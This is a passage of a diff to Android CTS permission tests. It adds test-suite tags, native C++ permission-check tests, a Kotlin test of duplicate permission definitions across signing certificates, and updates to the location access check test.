         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/OWNERS b/tests/tests/permission/OWNERS
index 889aae8..7d17a8f 100644
--- a/tests/tests/permission/OWNERS
+++ b/tests/tests/permission/OWNERS
@@ -2,7 +2,9 @@
 
 include platform/frameworks/base:/core/java/android/permission/OWNERS
 
+per-file PowerManagerServicePermissionTest.java = file: platform/frameworks/base:/services/core/java/com/android/server/power/OWNERS
 per-file RequestLocation.java = hallliu@google.com
 per-file NoAudioPermissionTest.java = elaurent@google.com
 per-file MainlineNetworkStackPermissionTest.java = file: platform/frameworks/base:/services/net/OWNERS
 per-file Camera2PermissionTest.java = file: platform/frameworks/av:/camera/OWNERS
+per-file NoRollbackPermissionTest.java = mpgroover@google.com
diff --git a/tests/tests/permission/StorageEscalationApp28/Android.bp b/tests/tests/permission/StorageEscalationApp28/Android.bp
index 0b256ee..520625a 100644
--- a/tests/tests/permission/StorageEscalationApp28/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp28/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp29Full/Android.bp b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
index 4b2a7ad..018c324 100644
--- a/tests/tests/permission/StorageEscalationApp29Full/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Full/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
index 484d313..5c0d89a 100644
--- a/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
+++ b/tests/tests/permission/StorageEscalationApp29Scoped/Android.bp
@@ -24,6 +24,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
         "sts",
     ],
 }
diff --git a/tests/tests/permission/jni/Android.bp b/tests/tests/permission/jni/Android.bp
index 2bcc068..59f93a0 100644
--- a/tests/tests/permission/jni/Android.bp
+++ b/tests/tests/permission/jni/Android.bp
@@ -33,3 +33,28 @@
     ],
     gtest: false,
 }
+
+cc_test_library {
+    name: "libpermissionmanager_native_test",
+    sdk_version: "current",
+    compile_multilib: "both",
+    srcs: [
+        "PermissionManagerNativeJniTest.cpp"
+    ],
+    shared_libs: [
+        "libandroid",
+        "liblog",
+    ],
+    static_libs: [
+        "libbase_ndk",
+    ],
+    whole_static_libs: [
+        "libnativetesthelper_jni"
+    ],
+    gtest: false,
+    stl: "libc++_static",
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+}
diff --git a/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp b/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp
new file mode 100644
index 0000000..3920070
--- /dev/null
+++ b/tests/tests/permission/jni/PermissionManagerNativeJniTest.cpp
@@ -0,0 +1,50 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// #define LOG_NDEBUG 0
+#define LOG_TAG "PermissionManagerNativeJniTest"
+
+#include <android/permission_manager.h>
+#include <android-base/logging.h>
+#include <gtest/gtest.h>
+
+class PermissionManagerNativeJniTest : public ::testing::Test {
+public:
+    void SetUp() override { }
+    void TearDown() override { }
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(PermissionManagerNativeJniTest, testCheckPermission) {
+    pid_t selfPid = ::getpid();
+    uid_t selfUid = ::getuid();
+
+    LOG(INFO) << "testCheckPermission: uid " << selfUid << ", pid" << selfPid;
+
+    int32_t result;
+    // Check some permission(s) we should have.
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.ACCESS_FINE_LOCATION",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_GRANTED);
+
+    // Check some permission(s) we should not have.
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.MANAGE_USERS",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+}
+
diff --git a/tests/tests/permission/nativeTests/Android.bp b/tests/tests/permission/nativeTests/Android.bp
new file mode 100644
index 0000000..40f8b6e
--- /dev/null
+++ b/tests/tests/permission/nativeTests/Android.bp
@@ -0,0 +1,56 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+    name: "CtsPermissionManagerNativeTestCases",
+
+    compile_multilib: "both",
+    multilib: {
+        lib32: {
+            suffix: "32",
+        },
+        lib64: {
+            suffix: "64",
+        },
+    },
+
+    srcs: ["src/PermissionManagerNativeTest.cpp"],
+
+    shared_libs: [
+        "liblog",
+        "libandroid",
+    ],
+
+    static_libs: [
+        "libgtest_ndk_c++",
+        "libbase_ndk",
+    ],
+    stl: "libc++_static",
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+
+    cflags: [
+        "-Werror",
+        "-Wall",
+    ],
+
+    sdk_version: "current",
+}
diff --git a/tests/tests/permission/nativeTests/AndroidTest.xml b/tests/tests/permission/nativeTests/AndroidTest.xml
new file mode 100644
index 0000000..23064c5
--- /dev/null
+++ b/tests/tests/permission/nativeTests/AndroidTest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<configuration description="Config for CTS PermissionManager native test cases">
+    <option name="test-suite-tag" value="cts" />
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+
+    <target_preparer class="com.android.tradefed.targetprep.RootTargetPreparer">
+        <option name="force-root" value="false" />
+    </target_preparer>
+
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+        <option name="cleanup" value="true" />
+        <option name="push" value="CtsPermissionManagerNativeTestCases->/data/local/tmp/CtsPermissionManagerNativeTestCases" />
+        <option name="append-bitness" value="true" />
+    </target_preparer>
+
+    <test class="com.android.tradefed.testtype.GTest" >
+        <option name="native-test-device-path" value="/data/local/tmp" />
+        <option name="module-name" value="CtsPermissionManagerNativeTestCases" />
+        <option name="runtime-hint" value="15s" />
+    </test>
+
+    <!-- Controller that will skip the module if a native bridge situation is detected -->
+    <!-- For example: module wants to run arm and device is x86 -->
+    <object type="module_controller" class="com.android.tradefed.testtype.suite.module.NativeBridgeModuleController" />
+</configuration>
diff --git a/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp b/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp
new file mode 100644
index 0000000..1b0dc06
--- /dev/null
+++ b/tests/tests/permission/nativeTests/src/PermissionManagerNativeTest.cpp
@@ -0,0 +1,63 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// #define LOG_NDEBUG 0
+#define LOG_TAG "PermissionManagerNativeTest"
+
+#include <android/permission_manager.h>
+#include <android-base/logging.h>
+#include <gtest/gtest.h>
+
+//-----------------------------------------------------------------
+class PermissionManagerNativeTest : public ::testing::Test {
+
+protected:
+    PermissionManagerNativeTest() { }
+
+    virtual ~PermissionManagerNativeTest() { }
+
+    /* Test setup*/
+    virtual void SetUp() { }
+
+    /* Test tear down */
+    virtual void TearDown() { }
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(PermissionManagerNativeTest, testCheckPermission) {
+    pid_t selfPid = ::getpid();
+    uid_t selfUid = ::getuid();
+
+    LOG(INFO) << "testCheckPermission: uid " << selfUid << ", pid" << selfPid;
+
+    // Test is set up to force unroot by RootTargetPreparer, so we should be running as SHELL.
+    // Check some permissions SHELL should definitely have or not have.
+    int32_t result;
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.DUMP",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_GRANTED);
+
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.MANAGE_USERS",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+
+    EXPECT_EQ(APermissionManager_checkPermission("android.permission.NETWORK_STACK",
+                                                 selfPid, selfUid, &result),
+              PERMISSION_MANAGER_STATUS_OK);
+    EXPECT_EQ(result, PERMISSION_MANAGER_PERMISSION_DENIED);
+}
diff --git a/tests/tests/permission/sdk28/Android.bp b/tests/tests/permission/sdk28/Android.bp
index eea2211..4c6aab4 100644
--- a/tests/tests/permission/sdk28/Android.bp
+++ b/tests/tests/permission/sdk28/Android.bp
@@ -28,5 +28,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/tests/tests/permission/sdk28/AndroidManifest.xml b/tests/tests/permission/sdk28/AndroidManifest.xml
index 7390f36..1dfeb2a 100644
--- a/tests/tests/permission/sdk28/AndroidManifest.xml
+++ b/tests/tests/permission/sdk28/AndroidManifest.xml
@@ -16,16 +16,17 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.permission.cts.sdk28">
+     package="android.permission.cts.sdk28">
 
     <uses-sdk android:minSdkVersion="3"
-        android:targetSdkVersion="28"
-        android:maxSdkVersion="28" />
+         android:targetSdkVersion="28"
+         android:maxSdkVersion="28"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
         <activity android:name="android.permission.cts.PermissionStubActivity"
-                  android:label="PermissionStubActivity">
+             android:label="PermissionStubActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
@@ -34,21 +35,20 @@
     </application>
 
     <!--
-        The CTS stubs package cannot be used as the target application here,
-        since that requires many permissions to be set. Instead, specify this
-        package itself as the target and include any stub activities needed.
+                The CTS stubs package cannot be used as the target application here,
+                since that requires many permissions to be set. Instead, specify this
+                package itself as the target and include any stub activities needed.
 
-        This test package uses the default InstrumentationTestRunner, because
-        the InstrumentationCtsTestRunner is only available in the stubs
-        package. That runner cannot be added to this package either, since it
-        relies on hidden APIs.
-    -->
+                This test package uses the default InstrumentationTestRunner, because
+                the InstrumentationCtsTestRunner is only available in the stubs
+                package. That runner cannot be added to this package either, since it
+                relies on hidden APIs.
+            -->
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.permission.cts.sdk28"
-                     android:label="CTS tests of legacy android permissions as of API 28">
+         android:targetPackage="android.permission.cts.sdk28"
+         android:label="CTS tests of legacy android permissions as of API 28">
         <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
-
diff --git a/tests/tests/permission/sdk28/TEST_MAPPING b/tests/tests/permission/sdk28/TEST_MAPPING
new file mode 100644
index 0000000..b98bbaf
--- /dev/null
+++ b/tests/tests/permission/sdk28/TEST_MAPPING
@@ -0,0 +1,7 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsPermissionTestCasesSdk28"
+    }
+  ]
+}
diff --git a/tests/tests/permission/src/android/permission/cts/BackgroundPermissionsTest.java b/tests/tests/permission/src/android/permission/cts/BackgroundPermissionsTest.java
index a535bb0..7baaafb 100644
--- a/tests/tests/permission/src/android/permission/cts/BackgroundPermissionsTest.java
+++ b/tests/tests/permission/src/android/permission/cts/BackgroundPermissionsTest.java
@@ -23,6 +23,7 @@
 import static android.app.AppOpsManager.MODE_FOREGROUND;
 import static android.app.AppOpsManager.MODE_IGNORED;
 import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+import static android.content.pm.PermissionInfo.PROTECTION_INTERNAL;
 import static android.permission.cts.PermissionUtils.getAppOp;
 import static android.permission.cts.PermissionUtils.grantPermission;
 import static android.permission.cts.PermissionUtils.install;
@@ -87,8 +88,11 @@
         for (int i = 0; i < numPermissions; i++) {
             PermissionInfo permission = pkg.permissions[i];
 
-            // background permissions must be dangerous
-            if ((permission.getProtection() & PROTECTION_DANGEROUS) != 0) {
+            // background permissions must be dangerous or ungrantable or role
+            if ((permission.getProtection() & PROTECTION_DANGEROUS) != 0
+                    || (permission.getProtection() == PROTECTION_INTERNAL
+                            && (permission.getProtectionFlags() == 0
+                    || permission.getProtectionFlags() == PermissionInfo.PROTECTION_FLAG_ROLE))) {
                 potentialBackgroundPermissionsToGroup.put(permission.name, permission.group);
             }
         }
diff --git a/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
new file mode 100644
index 0000000..ff18a05
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/DuplicatePermissionDefinitionsTest.kt
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.content.pm.PackageManager
+import android.content.pm.PermissionGroupInfo
+import android.content.pm.PermissionInfo
+import android.platform.test.annotations.AppModeFull
+import android.platform.test.annotations.SecurityTest
+import androidx.test.InstrumentationRegistry
+import androidx.test.internal.runner.junit4.AndroidJUnit4ClassRunner
+import com.android.compatibility.common.util.ShellUtils.runShellCommand
+import com.google.common.truth.Truth.assertThat
+import org.junit.After
+import org.junit.Test
+import org.junit.runner.RunWith
+
+private const val APK_PATH = "/data/local/tmp/cts/permissions/"
+
+private const val APK_DEFINING_PERM_A = "${APK_PATH}CtsAppThatDefinesPermissionA.apk"
+private const val APK_ALSO_DEFINING_PERM_A = "${APK_PATH}CtsAppThatAlsoDefinesPermissionA.apk"
+private const val APK_ALSO_DEFINING_PERM_A_DIFFERENT_CERT =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionADifferentCert.apk"
+private const val APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionGroupADifferentCert.apk"
+private const val APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30 =
+        "${APK_PATH}CtsAppThatAlsoDefinesPermissionGroupADifferentCert30.apk"
+private const val APK_DEFINING_PERM_WITH_INVALID_GROUP =
+        "${APK_PATH}CtsAppThatDefinesPermissionWithInvalidGroup.apk"
+private const val APK_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30 =
+        "${APK_PATH}CtsAppThatDefinesPermissionWithInvalidGroup30.apk"
+private const val APK_DEFINING_PERM_IN_PLATFORM_GROUP =
+        "${APK_PATH}CtsAppThatDefinesPermissionInPlatformGroup.apk"
+
+private const val APP_DEFINING_PERM_A = "android.permission.cts.appthatdefinespermissiona"
+private const val APP_ALSO_DEFINING_PERM_A = "android.permission.cts.appthatalsodefinespermissiona"
+private const val APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT =
+        "android.permission.cts.appthatdefinespermissiona.differentcert"
+private const val APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT =
+        "android.permission.cts.appthatdefinespermissiongroupa.differentcert"
+private const val APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30 =
+        "android.permission.cts.appthatdefinespermissiongroupa.differentcert30"
+private const val APP_DEFINING_PERM_IN_PLATFORM_GROUP =
+        "android.permission.cts.appthatdefinespermissioninplatformgroup"
+private const val APP_DEFINING_PERM_WITH_INVALID_GROUP =
+        "android.permission.cts.appthatdefinespermissionwithinvalidgroup"
+private const val APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30 =
+        "android.permission.cts.appthatdefinespermissionwithinvalidgroup30"
+
+private const val PERM_A = "com.android.cts.duplicatepermission.permA"
+private const val GROUP_A = "com.android.cts.duplicatepermission.groupA"
+private const val INVALID_GROUP = "com.android.cts.duplicatepermission.invalid"
+
+/**
+ * Test cases where packages
+ * - define the same permission or
+ * - define the same permission group
+ * - define permissions in a group defined by another package
+ */
+@AppModeFull(reason = "Tests properties of other app. Instant apps cannot interact with other apps")
+@RunWith(AndroidJUnit4ClassRunner::class)
+class DuplicatePermissionDefinitionsTest {
+    private val pm = InstrumentationRegistry.getTargetContext().packageManager
+
+    private fun install(apk: String) {
+        runShellCommand("pm install $apk")
+    }
+
+    private fun uninstall(app: String) {
+        runShellCommand("pm uninstall $app")
+    }
+
+    private val allPackages: List<String>
+        get() = pm.getInstalledPackages(0).map { it.packageName }
+
+    private val permAInfo: PermissionInfo
+        get() = pm.getPermissionInfo(PERM_A, 0)!!
+
+    private val groupAInfo: PermissionGroupInfo
+        get() = pm.getPermissionGroupInfo(GROUP_A, 0)!!
+
+    @Test
+    fun canInstallAppsDefiningSamePermissionWhenSameCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_A)
+
+        assertThat(allPackages).containsAtLeast(APP_DEFINING_PERM_A, APP_ALSO_DEFINING_PERM_A)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @Test
+    fun cannotInstallAppsDefiningSamePermissionWhenDifferentCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_A)
+        assertThat(allPackages).doesNotContain(APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @Test
+    fun canInstallAppsDefiningSamePermissionGroupWhenDifferentCertIfSdk30() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+
+        assertThat(allPackages).containsAtLeast(APP_DEFINING_PERM_A,
+                APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+
+        assertThat(groupAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    @SecurityTest
+    @Test
+    fun cannotInstallAppsDefiningSamePermissionGroupWhenDifferentCert() {
+        install(APK_DEFINING_PERM_A)
+        install(APK_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_A)
+        assertThat(allPackages).doesNotContain(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+
+        assertThat(groupAInfo.packageName).isEqualTo(APP_DEFINING_PERM_A)
+    }
+
+    // This is the same as cannotInstallAppsDefiningSamePermissionGroupWhenDifferentCert but this
+    // case is allowed as the package that originally defined the group is a platform.
+    @Test
+    fun canInstallAppsDefiningPermissionInPlatformGroup() {
+        install(APK_DEFINING_PERM_IN_PLATFORM_GROUP)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+        assertThat(permAInfo.group).isEqualTo(android.Manifest.permission_group.CAMERA)
+        assertThat(pm.getPermissionGroupInfo(android.Manifest.permission_group.CAMERA, 0)!!
+                .packageName).isEqualTo("android")
+    }
+
+    @Test
+    fun canInstallAppsDefiningPermissionWithInvalidGroupSdk30() {
+        install(APK_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+
+        assertThat(allPackages).contains(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+
+        assertThat(permAInfo.packageName).isEqualTo(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+        assertThat(permAInfo.group).isEqualTo(INVALID_GROUP)
+    }
+
+    @SecurityTest
+    @Test(expected = PackageManager.NameNotFoundException::class)
+    fun cannotInstallAppsDefiningPermissionWithInvalidGroup() {
+        install(APK_DEFINING_PERM_WITH_INVALID_GROUP)
+
+        assertThat(allPackages).doesNotContain(APP_DEFINING_PERM_WITH_INVALID_GROUP)
+
+        // throws a NameNotFoundException as perm info does not exist
+        permAInfo
+    }
+
+    @After
+    fun uninstallTestApps() {
+        uninstall(APP_DEFINING_PERM_A)
+        uninstall(APP_ALSO_DEFINING_PERM_A)
+        uninstall(APP_ALSO_DEFINING_PERM_A_DIFFERENT_CERT)
+        uninstall(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT)
+        uninstall(APP_ALSO_DEFINING_PERM_GROUP_A_DIFFERENT_CERT_SDK_30)
+        uninstall(APP_DEFINING_PERM_IN_PLATFORM_GROUP)
+        uninstall(APP_DEFINING_PERM_WITH_INVALID_GROUP)
+        uninstall(APP_DEFINING_PERM_WITH_INVALID_GROUP_SDK_30)
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
index 1a9c8dc..140ffc8 100644
--- a/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
+++ b/tests/tests/permission/src/android/permission/cts/LocationAccessCheckTest.java
@@ -18,18 +18,22 @@
 
 import static android.Manifest.permission.ACCESS_BACKGROUND_LOCATION;
 import static android.Manifest.permission.ACCESS_FINE_LOCATION;
+import static android.app.AppOpsManager.OPSTR_FINE_LOCATION;
+import static android.app.AppOpsManager.OP_FLAGS_ALL_TRUSTED;
 import static android.app.Notification.EXTRA_TITLE;
 import static android.content.Context.BIND_AUTO_CREATE;
 import static android.content.Context.BIND_NOT_FOREGROUND;
 import static android.content.Intent.ACTION_BOOT_COMPLETED;
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.location.Criteria.ACCURACY_FINE;
-import static android.provider.Settings.RESET_MODE_PACKAGE_DEFAULTS;
+import static android.os.Process.myUserHandle;
 import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_DELAY_MILLIS;
 import static android.provider.Settings.Secure.LOCATION_ACCESS_CHECK_INTERVAL_MILLIS;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.server.job.nano.JobPackageHistoryProto.START_PERIODIC_JOB;
+import static com.android.server.job.nano.JobPackageHistoryProto.STOP_JOB;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotEquals;
@@ -40,6 +44,7 @@
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
+import static java.lang.Math.max;
 import static java.util.concurrent.TimeUnit.MILLISECONDS;
 
 import android.app.ActivityManager;
@@ -50,6 +55,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.ServiceConnection;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.location.Criteria;
 import android.location.Location;
@@ -58,10 +64,10 @@
 import android.os.Bundle;
 import android.os.IBinder;
 import android.os.Looper;
-import android.os.SystemClock;
 import android.permission.cts.appthataccesseslocation.IAccessLocationOnCommand;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.SecurityTest;
+import android.platform.test.annotations.SystemUserOnly;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
 import android.service.notification.NotificationListenerService;
@@ -73,9 +79,11 @@
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ProtoUtils;
 import com.android.compatibility.common.util.mainline.MainlineModule;
 import com.android.compatibility.common.util.mainline.ModuleDetector;
+import com.android.server.job.nano.JobPackageHistoryProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto;
 import com.android.server.job.nano.JobSchedulerServiceDumpProto.RegisteredJob;
 
@@ -87,6 +95,7 @@
 import org.junit.runner.RunWith;
 
 import java.util.Arrays;
+import java.util.List;
 import java.util.concurrent.CountDownLatch;
 
 /**
@@ -105,6 +114,7 @@
             "/data/local/tmp/cts/permissions/CtsAppThatAccessesLocationOnCommand.apk";
     private static final String TEST_APP_LOCATION_FG_ACCESS_APK =
             "/data/local/tmp/cts/permissions/AppThatDoesNotHaveBgLocationAccess.apk";
+    private static final int LOCATION_ACCESS_CHECK_JOB_ID = 0;
 
     /** Whether to show location access check notifications. */
     private static final String PROPERTY_LOCATION_ACCESS_CHECK_ENABLED =
@@ -113,14 +123,13 @@
     private static final long UNEXPECTED_TIMEOUT_MILLIS = 10000;
     private static final long EXPECTED_TIMEOUT_MILLIS = 1000;
     private static final long LOCATION_ACCESS_TIMEOUT_MILLIS = 15000;
-    private static final long LOCATION_ACCESS_JOB_WAIT_MILLIS = 250;
-
-    // Same as in AccessLocationOnCommand
-    private static final long BACKGROUND_ACCESS_SETTLE_TIME = 11000;
 
     private static final Context sContext = InstrumentationRegistry.getTargetContext();
     private static final ActivityManager sActivityManager =
-            (ActivityManager) sContext.getSystemService(Context.ACTIVITY_SERVICE);
+            sContext.getSystemService(ActivityManager.class);
+    private static final PackageManager sPackageManager = sContext.getPackageManager();
+    private static final AppOpsManager sAppOpsManager =
+            sContext.getSystemService(AppOpsManager.class);
     private static final UiAutomation sUiAutomation = InstrumentationRegistry.getInstrumentation()
             .getUiAutomation();
 
@@ -136,6 +145,11 @@
     private static ServiceConnection sConnection;
     private static IAccessLocationOnCommand sLocationAccessor;
 
+    private DeviceConfigStateHelper mPrivacyDeviceConfig =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_PRIVACY);
+    private static DeviceConfigStateHelper sJobSchedulerDeviceConfig =
+            new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
+
     private static void assumeNotPlayManaged() throws Exception {
         assumeFalse(ModuleDetector.moduleIsPlayManaged(
                 sContext.getPackageManager(), MainlineModule.PERMISSION_CONTROLLER));
@@ -148,10 +162,29 @@
         if (sConnection == null || sLocationAccessor == null) {
             bindService();
         }
+
+        long beforeAccess = System.currentTimeMillis();
+        // Wait a little to avoid raciness in timing between threads
+        Thread.sleep(10);
+
+        // Try again until binder call goes though. It might not go through if the sLocationAccessor
+        // is not bound yet
         eventually(() -> {
             assertNotNull(sLocationAccessor);
             sLocationAccessor.accessLocation();
         }, EXPECTED_TIMEOUT_MILLIS);
+
+        // Wait until the access is recorded
+        eventually(() -> {
+            List<AppOpsManager.PackageOps> ops = runWithShellPermissionIdentity(
+                    () -> sAppOpsManager.getOpsForPackage(
+                            sPackageManager.getPackageUid(TEST_APP_PKG, 0), TEST_APP_PKG,
+                            OPSTR_FINE_LOCATION));
+
+            // Background access must have happened after "beforeAccess"
+            assertTrue(ops.get(0).getOps().get(0).getLastAccessBackgroundTime(OP_FLAGS_ALL_TRUSTED)
+                    >= beforeAccess);
+        }, EXPECTED_TIMEOUT_MILLIS);
     }
 
     /**
@@ -233,12 +266,54 @@
     }
 
     /**
+     * Get the last time the LOCATION_ACCESS_CHECK_JOB_ID job was started/stopped for permission
+     * controller.
+     *
+     * @param event the job event (start/stop)
+     *
+     * @return the last time the event happened.
+     */
+    private static long getLastJobTime(int event) throws Exception {
+        int permControllerUid = sPackageManager.getPackageUid(PERMISSION_CONTROLLER_PKG, 0);
+
+        long lastTime = -1;
+
+        for (JobPackageHistoryProto.HistoryEvent historyEvent :
